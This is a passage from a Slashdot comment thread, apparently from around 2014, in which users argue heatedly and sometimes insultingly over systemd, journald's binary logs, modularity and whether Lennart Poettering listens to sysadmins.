      "journald" works as a syslog helper that enhances syslog by collating all logfiles into a single file (instead of around +5 logfiles, some of them binary like "utmp"), and by collecting logging info from early boot, since journald can log from before even the root file system is mounted. When kdbus is mainlined, it will be able to collect "metal-to-metal" logging info, that means before rootfs is mounted, and after it is dismounted. Try that with syslog.

      It also provide per-damon rate limiting and notification when syslog drops messages (syslog silently drops messages).

      All in all, it would be stupid to turn of journald, even if forced to rely on flat file text logs.

    144. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 0

      bollox. if you believe the "monolithic" shit then more fool you

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    145. Re:Just keep it away from Gentoo and I'm good by TheSunborn · · Score: 1

      Quote
      "If, for example you want to run the systemd project's time server, you must run systemd and so journald and dbus"

      Really? Could I not just write my own daemon instead of systemd and thus avoid this dependency? The systemd api seems to be stable so it should be possible.

      As I see it, the systemd project's time server need functions which are currently only implemented by systemd, but is there any reason an other project could not implement the methods needed by the systemd projects' time server?

    146. Re:Just keep it away from Gentoo and I'm good by TheSunborn · · Score: 1

      Can you mention any single project which only does one thing?

      Let me look at some examples:

      Bash:
      Both an interactive user interface, and a scripting environment. And while the different programs running in bash often do communicate together, they do this using undocumented apis in the form of text output which is the worst way of module communication.

      It also confuses matters because the user-readable output from running a command in an interactive bash shell is part of that apps api. Just think about all the problems this causes for api updates, and translation of output to other languages.

      Apache:
      Is composed of a server, and lot's of modules, but none of the modules can be used outside of Apache. This looks to me like what systemd does, but nobody ever complained about this.

      gcc:
          Don't even get me started. Its a compiler collection of parts which depend on each other.

      The linux kernel:
      Refuses to maintain a stable api, so unless your module is part of the kernel itself, it will break at every linux release. Not modular at all.

      Gimp:
      None of the tools/effects which gimp uses are independent modules.

      Conclusion:
      There were never a modern desktop/server linux distribution using what is refered as the "unix way"

    147. Re:Just keep it away from Gentoo and I'm good by sjames · · Score: 1

      So you claim that the ability to clone systemd is as good as not depending on systemd? By that standard, Windows is Free software because I could just re-implement it.

      A time server clearly does NOT need functions currently only implemented in systemd. I know this because I run ntpd on sysVinit systems all the time.

      Like mort of their so-called seperate programs, there is a gratuitous dependency on systemd.

    148. Re:Just keep it away from Gentoo and I'm good by BobbyWang · · Score: 1

      Yes, but the kernel IS monolithic. No one is denying that. The same could be said about libc. But the GNU tools (coreutils) are a bit different since they are independent and have cleanly defined interfaces. You can easily pick the ones you like and use alternate implementations of others (busybox for example).

  5. The very first thing out of his mouth by wonkavader · · Score: 5, Insightful

    The very first thing out of his mouth is a straw man.

    This is not how to get people to change their minds.

    1. Re:The very first thing out of his mouth by thaylin · · Score: 3, Insightful

      He did no such thing, he tried to redefine what the anti-systemd people were saying and then attacked them by saying they are all old and conservative, not wanting to change.

      --
      When you cant win, ad hominem.
    2. Re:The very first thing out of his mouth by jedidiah · · Score: 1

      ...as if "being old and conservative and not wanting to change" is a bad thing.

      If something works, then don't break it. If a vanishingly small number of people need a different alternative, then don't shove it down everyone else's throats.

      That's the whole point of modularity. If I suddenly decide I like WindowMaker better, I don't have to piss in everyone else's cheerios.

      Change control is not a bad thing.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    3. Re:The very first thing out of his mouth by Barsteward · · Score: 1

      "If something works, then don't break it." - we'd all still be riding horses on that premise. Things move on, you cannot stay in one place.

      no-one has to use systemd but if you use a distro that uses it, then its upto you to uninstall it and install your own version of an init system otherwise it would be like me going to buy a Jaguar and telling them "i'm pissed off because i can't have a Mercedes engine in it as a choice"

      the choice that everyone has is install a distro that doesn't use systemd, its simple.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    4. Re:The very first thing out of his mouth by thaylin · · Score: 1

      Again with the fallacies. You present evidence that I am wrong then I can change my mind, unlike it seems you. However all you do is give half truths and attack anyone who disagrees with you.

      --
      When you cant win, ad hominem.
    5. Re:The very first thing out of his mouth by RabidReindeer · · Score: 1

      I tend to grit my teeth when people say "If it ain't broke, don't fix it" about IT. IT tends to erode from the outside in, if no other way.

      On the other hand, if you do "fix it", don't break things that people like and rely on. And don't have the hubris to tell people that they're wrong/misguided/old-fashioned when they complain. That's the sin that both gnome3 and systemd committed.

    6. Re:The very first thing out of his mouth by Anonymous Coward · · Score: 0

      do you also believe the earth is 6000 years old?

      What if I did? Unless I'm a geologist, astrophysicist, or anthropologist, how does that change my life in any way?

    7. Re:The very first thing out of his mouth by Barsteward · · Score: 1

      the evidence is all out there, do some research on systemd. a few people have tried to point things out to you but you won't change your mind.

      However all you do is give half truths - eh? thats your stance, pot kettle black

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    8. Re:The very first thing out of his mouth by Anonymous Coward · · Score: 1

      No, we wouldn't be riding horses.

      Cars provided a large advantage over horses. But, and this is crucial so stay with me carefully here, NOBODY WAS FORCED TO USE THEM. If you didn't trust, or want, or like, etc. a car, nobody forced you to give up your horse to get one.

      SystemD, whether it's amazing or not, is equivalent to a car salesman coming up to you, shooting your horse, forcing you to buy a car (from him), then leaving.

      Ignoring the "It doesn't follow the UNIX Philosophy", I don't want systemd on any server I manage right now because I can't trust it. It is hooking into to much of the system to quickly, and because of that, I don't trust it. I have no idea what flaws, security or otherwise, it is introducing. Due to the speed of it's expansion, I don't think the developers do either.

      Any experience System/Network Administrator is conservative by nature. They have to be to keep things stable. Change is good, but it has to be managed and implemented slowly to prevent things from breaking. If you don't understand this, then I wouldn't want you anywhere near my IT centre. If you disagree with this, then I question your experience level and competence.

      Saying "Things move on, you cannot stay in one place" is a strawman.

    9. Re:The very first thing out of his mouth by tom229 · · Score: 1

      Corporate IT is very "if it aint broke, don't fix it"., and that's both a good philosophy to have, and one that the emerging IT culture needs to re-adopt. I've worked with many young sysadmins that have what I call "update obsession". Everything always has to be the latest and greatest, and they pay the price for it. Stick with what works. This is the main reason I still use Cisco equipment that runs IOS. IOS hasn't changed much in decades, but it doesn't need to. You configure it, and leave it... for years. This new generation might cringe at the IOS CLI when they're used to web GUIs, but hey... if it aint broke... don't fix it, and Cisco knows that. Someone also needs to bring this philosophy to Microsoft, Google, and Apple. You don't need to reinvent the wheel every 5 years, just because it's been 5 years.

      --
      If it ain't broke, don't fix it.
    10. Re:The very first thing out of his mouth by Barsteward · · Score: 1

      "No, we wouldn't be riding horses." yes we would if you apply the "If something works, then don't break it." premise, the horse (or camel etc) did the job. Cars were crap for a long time before they got reliable and comfortable.

      "SystemD, whether it's amazing or not, is equivalent to a car salesman coming up to you, shooting your horse, forcing you to buy a car (from him), then leaving." - the car salesman would say if you don't like what we're selling, go elsewhere. if you don't want systemd in your life, you move to another distro that doesn't use it.

      " I don't want systemd on any server I manage right now because I can't trust it. " - nothing wrong it that but you should do research into systemd to find out what it really does/doesn't do before relying anything the anti-systemd posters say.

      ""Things move on, you cannot stay in one place" - is 64k enough for you, are you still using 8inch floppy disks or did you move on?

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    11. Re:The very first thing out of his mouth by Barsteward · · Score: 1

      the evidence... the evidence.... or do you ignore it?

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    12. Re:The very first thing out of his mouth by BlackPignouf · · Score: 3, Interesting

      +1
      Basically, his arguments are :
      * systemd haters have no clue about UNIX
      * RedHat took a long time to notice my genius
      * Gentoo users are old-farts that don't like beautifully written shiny new stuff
      * Debian users are even older assholes
      * You can use Gnome without systemd, but it won't work
      * I listen to users, but they're all idiots

    13. Re:The very first thing out of his mouth by ray-auch · · Score: 1

      If something works, then don't break it. If a vanishingly small number of people need a different alternative, then don't shove it down everyone else's throats.

      OpenRC, upstart, launchd, smf, dmd (hurd) and various others. And systemd obviously. All designed to replace sysv/bsd style init.

      That's a lot of projects created to replace something that didn't need fixing. Seems to me there must have been a lot of affected people, not "a vanishingly small number" to make all those projects happen.

      You may not have problems with sysv init, but that doesn't mean there aren't problems.

      Whether systemd is the right solution is a different question, but denying there was a problem just seems silly.

    14. Re:The very first thing out of his mouth by sjames · · Score: 1

      And totally sidestepped any of the very legitimate concerns of the people who have a principled objection to systemd.

    15. Re:The very first thing out of his mouth by gweihir · · Score: 1

      There is no reason to change unless what you have is worse than the alternative. It is very clearly the other way round here. Well, at least the people behind him picket the least-likable fuckup that that could, that is something. From what I see, we will have to fork the community into the nil-whits (always a majority) and those that get it. The latter will be quite enough to keep a sane Linux environment going.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    16. Re:The very first thing out of his mouth by gweihir · · Score: 1

      Indeed. And people like him always get a devoted group of followers, because they cannot distinguish megalomania and "leadership". Even his polemic calling people "systemd haters" misses the point. Systemd is just bad software, the thing to hate about it is the assholes pushing it on everybody, not the systemd software itself. Well, there are many fucked up software environments, Peotterix is just one more of them. No reason to participate and be screwed over though.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    17. Re:The very first thing out of his mouth by Anonymous Coward · · Score: 0

      the evidence is all out there

      Close. Now put the evidence in your post (remove personal attacks and poorly thought-out analogies to reduce clutter) and maybe you'll be getting somewhere.
      'It's not my job to educate you' is code for 'I can't argue my point, but still want to argue.'

    18. Re:The very first thing out of his mouth by oddtodd · · Score: 1

      >> You don't need to reinvent the wheel every 5 years, just because it's been 5 years.

      You do if that's your bidness model

      --
      I have plenty of common sense, I just choose to ignore it. -- Calvin
    19. Re:The very first thing out of his mouth by Kiwikwi · · Score: 1

      The very first thing out of his mouth is a straw man.

      +1
      Basically, his arguments are :
      * systemd haters have no clue about UNIX
      * RedHat took a long time to notice my genius
      * Gentoo users are old-farts that don't like beautifully written shiny new stuff
      * Debian users are even older assholes
      * You can use Gnome without systemd, but it won't work
      * I listen to users, but they're all idiots

      I take it that the irony of accusing Lennart of strawman arguments and then posting this is lost on you.

    20. Re:The very first thing out of his mouth by BlackPignouf · · Score: 1

      By your logic, nobody is allowed to accuse anyone of using strawman arguments.
      My list is a reasonably accurate summary of what he said in TFA.

    21. Re:The very first thing out of his mouth by cas2000 · · Score: 1

      That's a lot of projects created to replace something that didn't need fixing. Seems to me there must have been a lot of affected people, not "a vanishingly small number" to make all those projects happen.

      and NONE of them (with the possible exception of upstart because it was the default on ubuntu) gained a "market-share" of more than a few percent *UNTIL* systemd forced itself on people by becoming a hard dependency for consolekit/logind, gnome, and soon udev.

      that indicates to me that whatever problems sysvinit might have, they're not annoying enough for most people to care about....and certainly not annoying enough to do anything about.

    22. Re:The very first thing out of his mouth by Peter+H.S. · · Score: 1

      I tend to grit my teeth when people say "If it ain't broke, don't fix it" about IT. IT tends to erode from the outside in, if no other way.

      On the other hand, if you do "fix it", don't break things that people like and rely on.

      So nothing on Linux must ever change, because there is always some reactionary, lazy admin somewhere who can't be bothered to learn something new and change his work-flow.

      I have seen so many examples of such "IT-fossilization" during the last three decades. Some people scream and moan about how "new way" is bad and "old way" is much better. The end result is always the same; they get ejected out of the IT business when their old and obsolete skills are no longer needed.

      If you work in tech, you just better have to learn to adapt to new and better technology like systemd. The first step in this is to be factually informed about how the new technology works.

      And don't have the hubris to tell people that they're wrong/misguided/old-fashioned when they complain. That's the sin that both gnome3 and systemd committed.

      Don't tell me you rely on hearsay from some swivel eyed systemd-hater to know the technical facts about Gnome and systemd?

      It is a plain view fact that Gnome 3 runs on non-systemd platforms like BSD. So where is the problem?
      Is the problem that Gnome developers for years have pleaded for someone to step up and actually maintain crucial infrastructure needed by Gnome in order to work on non-systemd systems?

    23. Re:The very first thing out of his mouth by RabidReindeer · · Score: 1

      I think you got the impression that I meant that systemd "broke gnome3".

      I did not. BOTH systemd AND gnome3 broke things that people were actively using. In my case, gnome3 lost me all the system-monitoring applets in the screen borders. That wasn't a matter of "learning to do things different", it was a matter of a critical day-to-day resource being taken away from me. Gnome3's failure was that it didn't offer an acceptable alternative, not that it was "different". It was, bluntly put, LESS functional for my needs than its predecessor. Nautilus angered a lot of people when its developers arrogantly removed some of the window functions, but in their case, I think after enough abuse from the user community theu put it back.

      My solution for my gnome3 problems turned out to be simple. I now use the Cinnamon Desktop and the Gnome people can go twist in the wind for all I care.

      The systemd issue has aroused even greater ire, however, because it's not designed to be plug-replaceable the way that GUI desktops are. You either learn to love it, suffer with it, or find an alternative distro to work with. Or an alternative OS, if you run out of acceptable distros.

      I'm not one to hold to old ways just because "it's always been done that way". I've seen a LOT of changes in Linux since I started playing with it in the early 90's. I don't have any particular hatred for systemd's init subsystem, because, while I think it can evolve to be better, it's basically usable. The only real fault I could give it is that in my experience, if you're so tightly wired into external things that you become an essential part of them, that's probably not the optimal system design.

      I DO have a lot against the binary logging for very good reasons. I've worked with a lot of products that did their logging in proprietary binary formats over the years, and even when the internal data formats are well-published, the mere fact that intermediary services are required to access and format them has made their respective products harder to work with.

      It's rather like the Windows Registry. The Registry was created to solve several problems, some of which no longer exist even on Windows. It's widely considered to be a real mess for all sorts of reasons, which I won't bother to repeat at the moment, although, for example, restoring selected applications - and their configurations - from a backup tape are a good example. Linux, on the other hand, settled on a tree of text config files and the benefits have been immeasurable. The tree of text log files is perhaps less obviously beneficial - at least until you have to recover them off a dead disk from a foreign OS, but it does have enough weight behind it to warrant keeping for functional reasons, and not merely because it's "old fashioned".

      The Emperor's clothes were new, too, but I don't want to wear a set of them.

    24. Re:The very first thing out of his mouth by Peter+H.S. · · Score: 1

      The only real fault I could give it is that in my experience, if you're so tightly wired into external things that you become an essential part of them, that's probably not the optimal system design.

      That really isn't the case with systemd; it basically depends on glibc and util-linux for "mount" etc. just like most other init-systems, but everything else is optional.

      That upstream projects actually make use of systemd features like systemd-logind can hardly be a problem either; all the non-systemd platforms are free to provide their own similar services that upstream projects can use, so there are no problems there either.

      I DO have a lot against the binary logging for very good reasons. I've worked with a lot of products that did their logging in proprietary binary formats over the years, and even when the internal data formats are well-published, the mere fact that intermediary services are required to access and format them has made their respective products harder to work with.

      Some facts first; systemd's journal isn't proprietary. It is a well documented standard with a stable API and language bindings:
        http://www.freedesktop.org/wik...
      There are several independent journal readers already. I can't think of any non-contrived user case where it is a problem that the logs are binary.

      In fact, I can't think of any non-contrived user case where old style flat text file logging is better than systemd's journal; it scales better in every direction and allows for powerful filtering in a much better way than using humongous regex lines, is much more secure, allows for a single collated system log and much better debugging, etc. etc.
      Not forgetting that it is now possible to have reliable, robust logwatch scripts and even make a log viewing GUI that isn't just a glorifed "less" with windows decorations.

      Just like you I have been bitten by (proprietary) binary log files (and much worse; binary config files). And just like you I was really, really skeptical about systemd's binary log format. But the more I used it, and the more documentation I read, the more I became really glad about it: systemd's journal just solves so many problems I have had over the years with syslog files. It is a really well thought out and well designed logging system.

    25. Re:The very first thing out of his mouth by hitmark · · Score: 1

      Apple would perhaps grok it, if they where at all interested in corporate IT. But they are a fashion boutique sidelining in IT.

      Google and MS are software houses, as such they need the version churn to stay afloat.

      Frankly the pure software house it a pox on the IT world.

      --
      comment first, facts later. http://chem.tufts.edu/AnswersInScience/RelativityofWrong.htm
  6. Your feedback is valuable to us by Anonymous Coward · · Score: 5, Insightful

    You know how you hear that after a customer service call? Well Poettering's statement has the same meaning.

    1. Re:Your feedback is valuable to us by Dredd13 · · Score: 1

      I wish I had modpoints to give you for this.

    2. Re:Your feedback is valuable to us by Anonymous Coward · · Score: 0

      Came to say pretty much this, Poettering listens to those who give good feedback, fuck the rest.

  7. Solving a nonexistent problem by Anonymous Coward · · Score: 0, Troll

    My RHEL servers and VMs boot just fine, thank you. syslogd just works.

    Go away, work on something else, get a hobby, masturbate, do something... just not this.

    1. Re:Solving a nonexistent problem by Barsteward · · Score: 0

      Yawn.. your record is scratched and broken

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    2. Re:Solving a nonexistent problem by Anonymous Coward · · Score: 0

      He claims systemd solves this problem: launching processes in the correct order.

      Solution:
      start process X after condition Y is true

      But that's all it should do. Leave the logging and console and other stuff alone.

      We eventually realised that doing just the init system would never be a complete solution. Because if you do an init system but still invoke all the shell scripts and all the other things needed to bring up the system, you've only solved part of the problem. You've solved one thing but not 90% of the problem. So we slowly started doing stuff that all the other Linux distros did, and implemented that in simple C code that was fast and parallelised.

      Why can't scripts be launched parallelly? Introducing massive changes simply to launch a process is ridiculous.

      Also, in another linux voice article, it states that systemd is the middleman to all communication between user processes and the kernel. Therefore it can spy and record all user activity... seems suspicious.

    3. Re:Solving a nonexistent problem by Barsteward · · Score: 1

      "Leave the logging and console and other stuff alone." - other daemons do that work, not systemd e.g. journald, consoled.

      Why can't scripts be launched parallelly? - why don't write some using Bash and see how it works.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    4. Re:Solving a nonexistent problem by Anonymous Coward · · Score: 0

      Yawn.. your record is scratched and broken

      Until one day you can't remember the difference between Windows and Linux. There are old programmers, and there are bold programmers ...

      Captcha vomiting

    5. Re:Solving a nonexistent problem by drinkypoo · · Score: 1

      Why can't scripts be launched parallelly? - why don't write some using Bash and see how it works.

      It's really not hard to handle waiting on a dependency in shell scripting. In the case of init scripts, the obvious thing to do is to sleep loop until initscript status returns true, for a maximum number of cycles or period of time, where initscript is a dependency of your init script. This does require that your init scripts exit with proper status, but that does not seem like an arduous requirement. If you can't manage to reliably determine if a daemon is running in a shell script, then something is wrong either with the daemon or with your shell scripting abilities, or both. Give your init script another case or two, let it exec itself while it loops until deps are launched, then fork to launch in the background if that's called for in its /etc/default file.

      If you want to simplify the init scripts, then just use systemd's unit files with a hashbang at the top, the processor is another script which uses the unit file to set variables and then does the normal things init scripts do based on those. Where systemd is playing the role of inetd, the processor script instead ensures that a proper line is created in the inetd.conf, or a proper file in inetd.conf.d.

      Why haven't I done this yet, if it's so easy? 1, other hobbies at present. 2, who gives a shit? parallel boot knocks off a few seconds at best. The only part of the boot that needs parallelism is volume mounting. If I don't need a volume before I boot, then I would prefer that any checks on that volume proceed while I boot, in the background. Parallelism in starting daemons improves boot speed over preload (or just having an SSD) by a few seconds at best, and I could not give two shits about those seconds. If I'm starting a lightweight container, I don't want the overhead of something so complex as a full boatload of init scripts anyway. I'd rather have a totally BSD-style boot with just init to handle gettys and anything else I desperately need to boot, and everything else launched by a script. That script can launch scripts, so I can get as flexible as I like. I personally never had a problem with in-kernel udev, nor with the classic daemon, and I suspect mdev will do me just fine as well. The only thing I want that systemd has is early boot logging, but a) I want it to be ASCII and b) I don't want to have to replace my init daemon, and I shouldn't have to.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    6. Re:Solving a nonexistent problem by Anonymous Coward · · Score: 0

      "systemd is not just the name of the init daemon but can also refer to the entire software bundle around itself, which includes the daemons systemd, journald, logind and networkd, and many other low-level components such as libraries and utilities."

      -Wikipedia

    7. Re:Solving a nonexistent problem by Barsteward · · Score: 1

      Its great you can do that, not everyone can code that well but i'd bet they'd have better success at configuring systemd to do that.

      "a) I want it to be ASCII "
      "b) I don't want to have to replace my init daemon, and I shouldn't have to."

      They are both your choices. if your preferred distro uses systemd then you have vote with your feet and move to another distro. The distro have every right in the world to put out the system the way it sees fit and if you don't agree with it then you have to move or suck it up - thats life.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  8. Ohreally by Anonymous Coward · · Score: 0

    If he listened to actual users, (old-time sysadmins who know what they're doing) then he'd know systemd is unwanted and dangerous. It's too all-encompassing and introduces way too much risk into the server infrastructure.

    Pulse audio on a gaming system is one thing. Your toy project being forced into the systems of people who depend on a livelihood? Totally another.

    Systemd can diaf.

    1. Re:Ohreally by BarbaraHudson · · Score: 1

      He doesn't seem to know the difference between hearing and listening.

      --
      "Transparent" is a shit show that trades on every stereotype going. A man in drag is NOT a transsexual.
    2. Re:Ohreally by geoskd · · Score: 1

      If he listened to actual users, (old-time sysadmins who know what they're doing) then he'd know systemd is unwanted and dangerous. It's too all-encompassing and introduces way too much risk into the server infrastructure.

      First, Systemd is neither unwanted nor dangerous, until and unless you can give me a specific example.

      Second, Any new technology does not belong on high reliability servers until they have been thoroughly vetted. No one is putting Systemd into stable releases yet, its still going through the vetting phase.

      Third, are you running Upstart? That was a new technology once. It also had to be vetted, but You would be laughed out if you referred to Upstart as unwanted and dangerous. All told, Systemd can claim a great number of actual performance and ease of use improvements over most init systems including Upstart and sysvinit.

      Fourth, Neither pottering nor anyone else has the kind of clout it would take to force these distributions to do anything (Possibly excepting Linus). The dastardly way Pottering got all of these distros to switch to Systemd was to present it on its merits! (I can see why that kind of foul play would be wholly unacceptable to you.)

      At the end of the day, The anti-Systemd crowd fails to offer any concrete examples, and relies on rhetoric, which is why they are failing to stop the spread of Systemd. Systemd is winning, and quickly, because it is a technically superior solution to a problem that every operating system has to solve. The wonder isnt that Systemd is being adopted so quickly, the wonders are that it took this long for a good solution to appear and that so many people who are otherwise qualified administrators would choose to oppose it. I guess it just goes to show how many people in IT really can't hack it.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    3. Re:Ohreally by Anonymous Coward · · Score: 0

      listening means inputting what the speaker is saying, not
      sitting there planning what you're going to say next.

      the first implies inputting data before you
      review the new data and then speak.

      this systemd idiot is not even hearing.

    4. Re:Ohreally by drinkypoo · · Score: 3, Insightful

      First, Systemd is neither unwanted nor dangerous, until and unless you can give me a specific example.

      This thread is full of evidence of both. Don't be deliberately disingenuous, nobody likes a liar.

      No one is putting Systemd into stable releases yet, its still going through the vetting phase.

      Yes, that's why we are arguing against it now, to try to prevent it from becoming a part of "stable" releases. Because it isn't.

      Third, are you running Upstart? That was a new technology once. It also had to be vetted, but You would be laughed out if you referred to Upstart as unwanted and dangerous

      Not at all. Many felt that way about it, too. But the impact was not as widespread, so neither was the interest.

      The dastardly way Pottering got all of these distros to switch to Systemd was to present it on its merits!

      False. Systemd was used for some downstream projects (like GNOME) because at the time, the existing interfaces for doing certain things were in flux. Now they aren't, and the systemd dependency is coming out of GNOME.

      Systemd is winning, and quickly, because

      ...embrace and extend. HTH, HAND.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    5. Re:Ohreally by gweihir · · Score: 1

      Typical symptom of megalomania. Which he clearly suffers from. Well, the good thing about all this is that this has woken up a lot of people to the fact that free software needs to be defended against people that try a land-grab (and systemd is nothing else) and that constant vigilance is required.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    6. Re:Ohreally by gweihir · · Score: 1

      Stop lying your ass off. There are a _lot_ of people that do not want it and have stated so. Your dishonesty is repulsive and disgusting.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    7. Re:Ohreally by Anonymous Coward · · Score: 0

      Your wrong on one point though. Systemd is not winning because it is better for users. It is better for maintainers.

      More than 8 years ago I was somewhat heavily involved with distro maintenance. Some of the "big names" (several key gnome developers, some maintainers from redhat) were continuously complaining about the multitude of silly apps written by random geeks in their basements that we had to do the same thing, but on different platforms or in different situations, or for different DEs, etc. For example, you had a small daemon to monitor your battery on powerpc, but it had its own interface and peculiarities. The gnome battery manager did not know how to deal with powerpc batteries well at the time, so people happily used these other daemons and guis on those PCs. This small applications were often written by people who owned the hardware, and the software knew about every quick or bug the hardware could exibit. They were often working perfectly well, though not always perfectly secure. Gnome and KDE often also had far more low level things going on that was different between the two environments.

      The situation was hell to maintain since most maintainers lacked the hardware to test these apps, or more in general because more variation means more headaches. This was one reason for a push to a more universal and uniform way to deal with low-level system management. Systemd is not for initscripts only (I consciously did not give examples for them, but maintainability was key here as well), it tries to be a universal daemon to manage a computing system. In my mind it is the culmination of the effort to work towards "one shoe fits all".

      Its far easier to maintain because of that. However, it is also quite likely that people with different requirements are left in the cold. The trouble is that users, per definition, are unique, and there is always someone with a weird kind of hardware that in the past would easily be able to get support for his machine using daemon XX. Now, with systemd, Lennart is just telling you to dump your hardware and buy something decent.

      Systemd thus works fine, as long as it works. Once something breaks, you (i.e. the user) has a big problem, but the maintainer will just claim that the situation that caused the bug is not a systemd problem, and thus an invalid bug. Your system was not supposed to crash, you were not supposed to mount your filesystem on some weird non-standard network link, the kernel should not output so much info during debugging, etc, etc etc. Those are external problems according to the systemd people. It is designed to be generic, good for the average system, and above all, easy to maintain. Its not the swiss-army knife approach that users would like.

      This is why I think it sucks.

      The trouble is, you cannot fix it....

    8. Re:Ohreally by geoskd · · Score: 1

      This thread is full of evidence of both. Don't be deliberately disingenuous, nobody likes a liar.

      This thread is full of the following:

      Systemd is bad because it is monolithic. (Systemd may be monolithic, or it might not, but that is completely irrelevant to its usefullness or fitness for use)

      Systemd is bad because it replaces X (While Systemd does offer replacements for many other components, the alternatives can continue to be used as before)

      Systemd is bad because it might break something (These comments piss me off because no one can give me *any* examples of anything that Systemd breaks, just a bunch of what ifs, and maybes )

      In the end, I see a bunch of BS FUD, and nothing of substance from the anti-Systemd crowd. At the end of the day, I can easily see how init was broken, and pottering stepped up and made a solution. The rest of the people who are whining need to either a:) provide a solution of their own, b:) point to an alternate that works or c:) STFU. end of story. Nothing pisse me off more than people who are getting something for *FREE* and are whining that they are not getting what they want. That is the definition of balls my friend.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    9. Re:Ohreally by drinkypoo · · Score: 1

      Systemd is bad because it is monolithic. (Systemd may be monolithic, or it might not, but that is completely irrelevant to its usefullness or fitness for use)

      No, no it isn't. The elements of the Unix philosophy are not there just because someone thought they sounded cool. They're there because they're good ideas. We don't like to just throw away the good ideas our favorite OS is based on.

      Systemd is bad because it replaces X (While Systemd does offer replacements for many other components, the alternatives can continue to be used as before)

      Sometimes they can, sometimes they can't, this has been addressed elsewhere in the thread so you should not be bringing it up here. That is just lazy of you.

      Systemd is bad because it might break something (These comments piss me off because no one can give me *any* examples of anything that Systemd breaks, just a bunch of what ifs, and maybes )

      There are several examples in this thread, and there have been several examples in prior threads, and there are several examples in various blog entries which you could find with google if you knew how to internet, bro.

      In the end, I see a bunch of BS FUD, and nothing of substance from the anti-Systemd crowd.

      Reading comprehension must not be your strong suit. It requires that you be willing to see information which contradicts your views.

      Now, you might well want to turn that argument around on us, but the truth is that Unix got where it is by following these ideals. These ideals appeal to greybeards because they can see specifically where they saved them a whole lot of trouble.

      Nothing pisse me off more than people who are getting something for *FREE* and are whining that they are not getting what they want. That is the definition of balls my friend.

      No, balls is taking away someone's lunch and replacing it with a shit sandwich, then insisting that they should be grateful and furthermore, that they should love the taste and that it's the way of the future. But what it isn't is a good idea. At least, it's not a good idea to eat the sandwich.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    10. Re:Ohreally by geoskd · · Score: 1

      Sometimes they can, sometimes they can't, this has been addressed elsewhere in the thread so you should not be bringing it up here.

      I have read (and posted) this thread extensively, and There are no truthful examples of a portion of Systemd that cant be replaced except udev which has to be an integral part of the init system.

      There are several examples in this thread, and there have been several examples in prior threads, and there are several examples in various blog entries which you could find with google if you knew how to internet, bro.

      Every time I ask for examples, I get a response just like yours: "Look around, examples are everywhere!". They are not. Even in this thread, there are no examples whatsoever. The closest I have seen to examples are either lies, or half truths, like the statement I found indicating that Systemd replaces ntpd (it does not, but it does offer an alternative to ntpd, which is not required). I have only been able to conclude that people are opposed to Systemd for personal reasons which I can only guess at the reasons for. Those reasons seem to have no technical foundation, but mostly appear to stem from a long working understanding of xyz init system, and a healthy fear of the new and unknown.

      My personal suspicion is that there are a lot of Sysadmins out there who have been working with sysvinit like systems for a very long time, and are comfortable with the various scripting languages involved, but with Systemd being written in C, it scares them to think they would have to understand C in order to debug their boot-up problems in the future. I can fully understand this particular bit of paranoia, but it is simply paranoia, nothing else.

      No, balls is taking away someone's lunch and replacing it with a shit sandwich,

      TANSTAAFL. Linux doesn't belong to you. You haven't paid for it, you didn't build it, so don't whine when it isn't what you want. Furthermore, no one is taking anything away from you. You are still free to continue using whatever distro you use today. It is yours as long as you like, but no one owes you free updates, in fact no one owes you a damn thing, so get over your self righteousness, because you haven't the right.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    11. Re:Ohreally by drinkypoo · · Score: 1

      I have read (and posted) this thread extensively, and There are no truthful examples of a portion of Systemd that cant be replaced except udev

      ..and dbus, and you have to have journald running whether you're using it or not. HTH, disingenuous douche.

      Every time I ask for examples, I get a response just like yours: "Look around, examples are everywhere!".

      That's because they are, and you are being a disingenuous douchebag.

      My personal suspicion is that there are a lot of Sysadmins out there who have been working with sysvinit like systems for a very long time, and are comfortable with the various scripting languages involved, but with Systemd being written in C, it scares them to think they would have to understand C in order to debug their boot-up problems in the future. I can fully understand this particular bit of paranoia, but it is simply paranoia, nothing else.

      Again, there are examples in this very thread (and in prior threads here) which show people coming to precisely this pass. So you're a disingenuous douchebag.

      Linux doesn't belong to you. You haven't paid for it, you didn't build it, so don't whine when it isn't what you want.

      In fact, I did help build it, in many ways. So you're being a disingenuous douchebag.

      Fuck off, you disingenuous douchebag.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  9. Lennart, do you listen to sysadmins? by myowntrueself · · Score: 5, Insightful

    Well, do you actually take on board the concerns of system administrators and enterprise users?

    What a lot of people are concerned about is that this entirely new and largely untested (in the 'wild', as it were) and very very large, complex piece of software which runs at a very very privileged level in the operating system is going to become the main source of security vulnerabilities in Linux.

    Can we have a cut-down, simplified version of systemd for servers and doesn't try to replace several layers of server side system functionality such as logging?

    Its clear that you listen to desktop users. How about listening to the system administrators?

    --
    In the free world the media isn't government run; the government is media run.
  10. How about a request from an IT person... by Anonymous Coward · · Score: 5, Interesting

    I am personally neutral on SystemD... but as someone in IT, it is quite worrisome that there is new, untested code sitting as the core userland... code that can make network connections, and has not ever seen any reviews or audits.

